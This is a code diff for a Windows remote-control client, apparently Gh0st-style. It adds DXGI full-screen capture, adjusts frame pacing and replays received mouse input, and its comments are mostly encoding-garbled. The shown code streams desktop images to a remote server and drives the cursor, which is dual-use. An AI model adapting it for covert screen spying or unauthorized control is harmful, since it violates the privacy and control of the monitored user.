ID3D11Device* d3dDevice = nullptr;
|
||||
ID3D11DeviceContext* d3dContext = nullptr;
|
||||
IDXGIOutputDuplication* deskDupl = nullptr;
|
||||
ID3D11Texture2D* cpuTexture = nullptr;
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() {
|
||||
m_GOP = gop;
|
||||
InitDXGI();
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
}
|
||||
|
||||
~ScreenCapturerDXGI() {
|
||||
CleanupDXGI();
|
||||
|
||||
SAFE_DELETE_ARRAY(m_FirstBuffer);
|
||||
SAFE_DELETE_ARRAY(m_NextBuffer);
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
}
|
||||
|
||||
void InitDXGI() {
|
||||
// 1. <20><><EFBFBD><EFBFBD> D3D11 <20>豸
|
||||
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext);
|
||||
|
||||
// 2. <20><>ȡ DXGI <20>豸
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
|
||||
// 3. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
|
||||
// 4. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
|
||||
// 5. <20><>ȡ DXGI <20><><EFBFBD><EFBFBD> 1
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD> Desktop Duplication
|
||||
dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
|
||||
// 7. <20><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С
|
||||
DXGI_OUTDUPL_DESC duplDesc;
|
||||
deskDupl->GetDesc(&duplDesc);
|
||||
m_ulFullWidth = duplDesc.ModeDesc.Width;
|
||||
m_ulFullHeight = duplDesc.ModeDesc.Height;
|
||||
|
||||
// 8. <20><><EFBFBD><EFBFBD> CPU <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_TEXTURE2D_DESC desc = {};
|
||||
desc.Width = m_ulFullWidth;
|
||||
desc.Height = m_ulFullHeight;
|
||||
desc.MipLevels = 1;
|
||||
desc.ArraySize = 1;
|
||||
desc.Format = DXGI_FORMAT_B8G8R8A8_UNORM;
|
||||
desc.SampleDesc.Count = 1;
|
||||
desc.Usage = D3D11_USAGE_STAGING;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ;
|
||||
d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture);
|
||||
|
||||
// 9. <20><>ʼ<EFBFBD><CABC> BITMAPINFO
|
||||
m_BitmapInfor_Full = (BITMAPINFO*)new char[sizeof(BITMAPINFO)];
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
m_BitmapInfor_Full->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
m_BitmapInfor_Full->bmiHeader.biWidth = m_ulFullWidth;
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight = m_ulFullHeight;
|
||||
m_BitmapInfor_Full->bmiHeader.biPlanes = 1;
|
||||
m_BitmapInfor_Full->bmiHeader.biBitCount = 32;
|
||||
m_BitmapInfor_Full->bmiHeader.biCompression = BI_RGB;
|
||||
m_BitmapInfor_Full->bmiHeader.biSizeImage = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
|
||||
// 10. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
|
||||
// <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
dxgiOutput1->Release();
|
||||
dxgiOutput->Release();
|
||||
dxgiAdapter->Release();
|
||||
dxgiDevice->Release();
|
||||
}
|
||||
|
||||
void CleanupDXGI() {
|
||||
if (cpuTexture) cpuTexture->Release();
|
||||
if (deskDupl) deskDupl->Release();
|
||||
if (d3dContext) d3dContext->Release();
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override {
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
LPBYTE ScanNextScreen() override {
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
return m_NextBuffer;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer + 1;
|
||||
}
|
||||
|
||||
private:
|
||||
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes) {
|
||||
// 1. <20><>ȡ<EFBFBD><C8A1>һ֡
|
||||
IDXGIResource* desktopResource = nullptr;
|
||||
DXGI_OUTDUPL_FRAME_INFO frameInfo;
|
||||
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
if (FAILED(hr)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 2. <20><>ȡ ID3D11Texture2D
|
||||
ID3D11Texture2D* texture = nullptr;
|
||||
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
|
||||
if (FAILED(hr)) {
|
||||
deskDupl->ReleaseFrame();
|
||||
return -2;
|
||||
}
|
||||
|
||||
// 3. <20><><EFBFBD>Ƶ<EFBFBD> CPU <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->CopyResource(cpuTexture, texture);
|
||||
|
||||
// 4. <20>ͷ<EFBFBD> DXGI <20><>Դ
|
||||
deskDupl->ReleaseFrame();
|
||||
texture->Release();
|
||||
desktopResource->Release();
|
||||
|
||||
// 5. <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
|
||||
if (FAILED(hr)) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
// 6. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ת<EFBFBD><D7AA>
|
||||
BYTE* pData = (BYTE*)mapped.pData;
|
||||
int rowSize = m_ulFullWidth * 4; // ÿ<>е<EFBFBD><D0B5>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>RGBA<42><41>
|
||||
|
||||
for (int y = 0; y < m_ulFullHeight; y++) {
|
||||
// <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD>껺<EFBFBD><EABBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3>ӵײ<D3B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int destIndex = reservedBytes + (m_ulFullHeight - 1 - y) * rowSize;
|
||||
int srcIndex = y * mapped.RowPitch; // Direct3D <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
memcpy(buffer + destIndex, pData + srcIndex, rowSize);
|
||||
}
|
||||
|
||||
// 7. <20><><EFBFBD><EFBFBD>
|
||||
d3dContext->Unmap(cpuTexture, 0);
|
||||
|
||||
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
@@ -14,6 +14,9 @@
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapturerDXGI.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -21,14 +24,29 @@ using namespace std;
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
bool IsWindows8orHigher() {
|
||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hMod) return false;
|
||||
|
||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
||||
if (!rtlGetVersion) return false;
|
||||
|
||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
||||
if (rtlGetVersion(&rovi) == 0) {
|
||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(32);
|
||||
|
||||
szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight() + 1];
|
||||
bool DXGI = user;
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32);
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
@@ -55,9 +73,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||||
int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
|
||||
int s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||
float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
|
||||
const int frames = fps; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
const double alpha = 1.2; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
@@ -65,6 +83,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (szBuffer)
|
||||
{
|
||||
s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
|
||||
s0 = min(s0, 1000);
|
||||
int span = s0-(clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
|
||||
@@ -74,7 +94,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||
@@ -83,7 +103,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
@@ -126,11 +146,6 @@ CScreenManager::~CScreenManager()
|
||||
|
||||
delete m_ScreenSpyObject;
|
||||
m_ScreenSpyObject = NULL;
|
||||
if(szBuffer)
|
||||
{
|
||||
delete [] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -217,21 +232,14 @@ VOID CScreenManager::SendClientClipboard()
|
||||
|
||||
VOID CScreenManager::SendFirstScreen()
|
||||
{
|
||||
//<2F><>CScreenSpy<70><79>getFirstScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>еõ<D0B5>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//Ȼ<><C8BB><EFBFBD><EFBFBD>getFirstImageSize<7A>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵĴ<DDB5>СȻ<D0A1><C8BB><EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData();
|
||||
if (FirstScreenData == NULL)
|
||||
ULONG ulFirstSendLength = 0;
|
||||
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
|
||||
if (ulFirstSendLength == 0 || FirstScreenData == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||
|
||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||
szBuffer[ulFirstSendLength-1] = 0;
|
||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -243,13 +251,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
szBuffer[ulNextSendLength] = 0;
|
||||
|
||||
return szBuffer;
|
||||
return (char*)NextScreenData;
|
||||
}
|
||||
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
@@ -285,11 +287,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
if(m_ScreenSpyObject->IsZoomed())
|
||||
{
|
||||
Point.x *= m_ScreenSpyObject->GetWZoom();
|
||||
Point.y *= m_ScreenSpyObject->GetHZoom();
|
||||
}
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
|
||||
@@ -11,14 +11,14 @@
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
char* szBuffer;
|
||||
CScreenManager(IOCPClient* ClientObject, int n);
|
||||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
@@ -26,7 +26,7 @@ public:
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
CScreenSpy* m_ScreenSpyObject;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
VOID SendFirstScreen();
|
||||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
@@ -11,25 +11,11 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
|
||||
{
|
||||
m_GOP = gop;
|
||||
m_bAlgorithm = ALGORITHM_DIFF;
|
||||
m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof (devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
|
||||
@@ -50,6 +36,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
|
||||
@@ -104,49 +91,16 @@ CScreenSpy::~CScreenSpy()
|
||||
m_RectBufferOffset = 0;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::GetFirstScreenData()
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||
|
||||
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_RectBufferOffset = 0;
|
||||
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CCursorInfo m_CursorInfor;
|
||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||
{
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||
*ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
return m_RectBuffer; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
|
||||
@@ -172,45 +126,3 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
|
||||
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
|
||||
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
|
||||
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||
ulv1 = ulszBufferOffset + sizeof(int);
|
||||
ulv2 = ulv1 + sizeof(int);
|
||||
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
|
||||
ulCount += 4;
|
||||
i += 4, p1++, p2++;
|
||||
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
break;
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
ulCount += 4;
|
||||
}
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
*(LPDWORD)(szBuffer + ulv1) = ulCount;
|
||||
ulszBufferOffset = ulv2 + ulCount;
|
||||
}
|
||||
|
||||
return ulszBufferOffset;
|
||||
}
|
||||
|
||||
@@ -8,25 +8,15 @@
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
|
||||
class CScreenSpy
|
||||
